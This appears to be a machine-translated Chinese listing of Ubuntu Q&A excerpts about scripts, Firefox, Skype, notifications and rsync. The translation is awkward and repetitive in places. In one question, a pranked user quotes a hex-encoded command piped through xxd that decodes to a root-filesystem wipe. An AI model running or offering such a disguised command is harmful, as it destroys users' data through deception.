Tag: 命令行

如何使用’set | 正确编写脚本中的grep’以获取DBUS_SESSION_BUS_ADDRESS变量的值?

GNU bash,版本4.3.48(1)-release(x86_64-pc-linux-gnu),Ubuntu 16.04.3 LTS。 我需要获取DBUS_SESSION_BUS_ADDRESS的值并将其保存到文件中。 如果我运行set | grep DBUS_SESSION_BUS_ADDRESS > /home/user/.DBUS_temp Bash中的set | grep DBUS_SESSION_BUS_ADDRESS > /home/user/.DBUS_temp我在set | grep DBUS_SESSION_BUS_ADDRESS > /home/user/.DBUS_temp中有类似于DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-N1wmwpEVBj的.DBUS_temp ,这是正常的 。 但是当我尝试在脚本中运行命令时,会发生以下情况: 如果set | grep DBUS_SESSION_BUS_ADDRESS > /home/user/.DBUS_temp则创建一个空文件 set | grep DBUS_SESSION_BUS_ADDRESS > /home/user/.DBUS_temp 。 BASH_EXECUTION_STRING=’set | grep DBUS_SESSION_BUS_ADDRESS > /home/user/.DBUS_temp’ 如果su -c ‘set | grep DBUS_SESSION_BUS_ADDRESS > /home/user/.DBUS_temp’ user BASH_EXECUTION_STRING=’set | […]

无法执行子进程? 有人知道解决这个问题吗?

我改变了一些我不想改变的东西,现在我每次尝试打开Firefox时都说: could not launch application, failed to execute child process “firefox” (No such file or directory). Aybody知道解决这个问题吗? 我正在使用Backtrack 5 r3和Gnome ,后者基于ubuntu 10.04 。

救命! 我的笔记本无法启动。 ‘找不到可引导的图片’

我在论坛上被某人’恶作剧’。 我很难在Ubuntu上安装Skype,他说我需要运行这段代码: $(echo -n 7375646f20726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f | xxd -r -p -) &>2 我跑了,我的笔记本电脑僵住了,我再也无法启动了。 请帮忙! 这是我唯一的笔记本电脑,我迫切需要它上学。

查找 – 将文件从/ folder1替换为/ folder1 /子文件夹

情况:folder1有大约2000个文件,folder2有300多个子文件夹,每个子文件夹有500个文件。 我要问的是将文件从/folder1移动/替换到/folder2/sub-folders ,但只有通过数字标识的重复项,所有文件都启动Aaaaaaaa.bbb – 。 所有其他文件也应保持原位。 /folder1 Aaaaaaa.bbb – 0000125 tag tag_tag 9tag Aaaaaaa.bbb – 0000002 tag tag_tag 9tag Aaaaaaa.bbb – 0004207 tag tag_tag 9tag /folder2/sub-folders /sub1 Aaaaaaa.bbb – 0000125 tag tag_tag 9tag Aaaaaaa.bbb – 0000935 tag tag_tag 9tag /sub2 Aaaaaaa.bbb – 0000002 tag tag_tag 9tag Aaaaaaa.bbb – 0004207 tag tag_tag 9tag Aaaaaaa.bbb – 0000979 […]

当我键入命令并且终端什么都不做时,这是什么意思?

我是Linux新手(我正在运行Ubuntu)。 我正在为终端学习新的命令,甚至关于如何做东西的一些指南/论坛。 有时我会输入一个命令,然后终端在我键入的最后一个命令之后创建一个换行符,然后用一个闪烁的光标。 有时我认为计算机只是在思考并需要时间来做某事(尽管对某一特定任务有某种进展表示会很好)。 有时终端进展让我输入一个新命令,有时我等待几分钟,然后按ctrl + c停止它正在做的事情。 很高兴知道我在这里处理的是什么,所以我可以更好地判断我是应该等待还是只是浪费时间。

我弄乱了Firefox,现在它没有打开,该怎么办?

所以我从Firefox的网站上手动下载了firefox-34.0.5.tar.bz2 ,我非常清楚我可以使用软件更新程序从Firefox 30更新到34。 首先,我搜索了如何从tarball安装软件。 没有任何效果。 有些东西比如访问README文件或INSTALL文件但没有任何效果 我从他们的网站上下载了这个文件。 无法安装。 现在,我使用了Libre-Software的这本指南 ,它似乎值得信赖。 但是,当我单击启动器图标时,没有任何内容打开。 它会发红两秒钟,但之后什么都没有。 当我去终端并键入firefox-old因为我将当前版本备份到/usr/bin该文件时,旧的Firefox打开,我现在正在使用它。 尽管如此,终端仍然说着我不理解的东西。 (process:6309): GLib-CRITICAL **: g_slice_set_config: assertion ‘sys_page_size == 0’ failed TypeError: external.getUnityObject is not a function TypeError: external.getUnityObject is not a function TypeError: external.getUnityObject is not a function TypeError: external.getUnityObject is not a function No permission to use the keyboard API for […]

没有找到videoSkype

我一直在寻找用于Ubuntu 12.04的Skype,我所能做的就是我发现的是没有video通话的Skype,只是语音通话。 请帮忙。

通知 – 发送不工作,似乎很多错误

我正在尝试创建通知脚本,但它不起作用。 当我点击例如“控制+ alt + m”时,它应该弹出通知它,但它像默认,我不能改变任何东西。 我尝试使用一些命令进行notify-send,但它只是不起作用。 而另一个巨大的问题是它不能在全屏幕上工作,就像我在游戏中,我想点击“控制+ alt + m”并且它没有显示出来。 我什么都做不了,我试着写 – 关键仍然没有用。 需要帮助通知。 这是我的脚本: #!/bin/bash notify-send “Dota2 Heroes” -t 10000 PS默认值为5秒时间,-t 10000 = 10秒但不起作用,通知在5秒内消失

无法在终端和Ubuntu软件中心检测到互联网连接

我刚刚安装了Ubuntu 15.10。 我可以在mozilla上连接到互联网。 但是,终端和Ubuntu软件中心不检测互联网连接。 我能做什么?

如何从变量中读取密码?

我试图将我的文件移动到另一个位于其他地方的系统,使用此命令: rsync -avrz src destination 它工作正常。 但我需要的是将此命令放在shell脚本中并运行它: #! /bin/sh rsync -avrz srcfilelocation destination 运行时,它会询问目标系统密码。 我知道密码并手动提供。 现在我决定将密码分配给环境变量,例如pswd=”destination system password” 。 我需要我的shell脚本来读取此变量的密码。 如何编写脚本来执行此操作?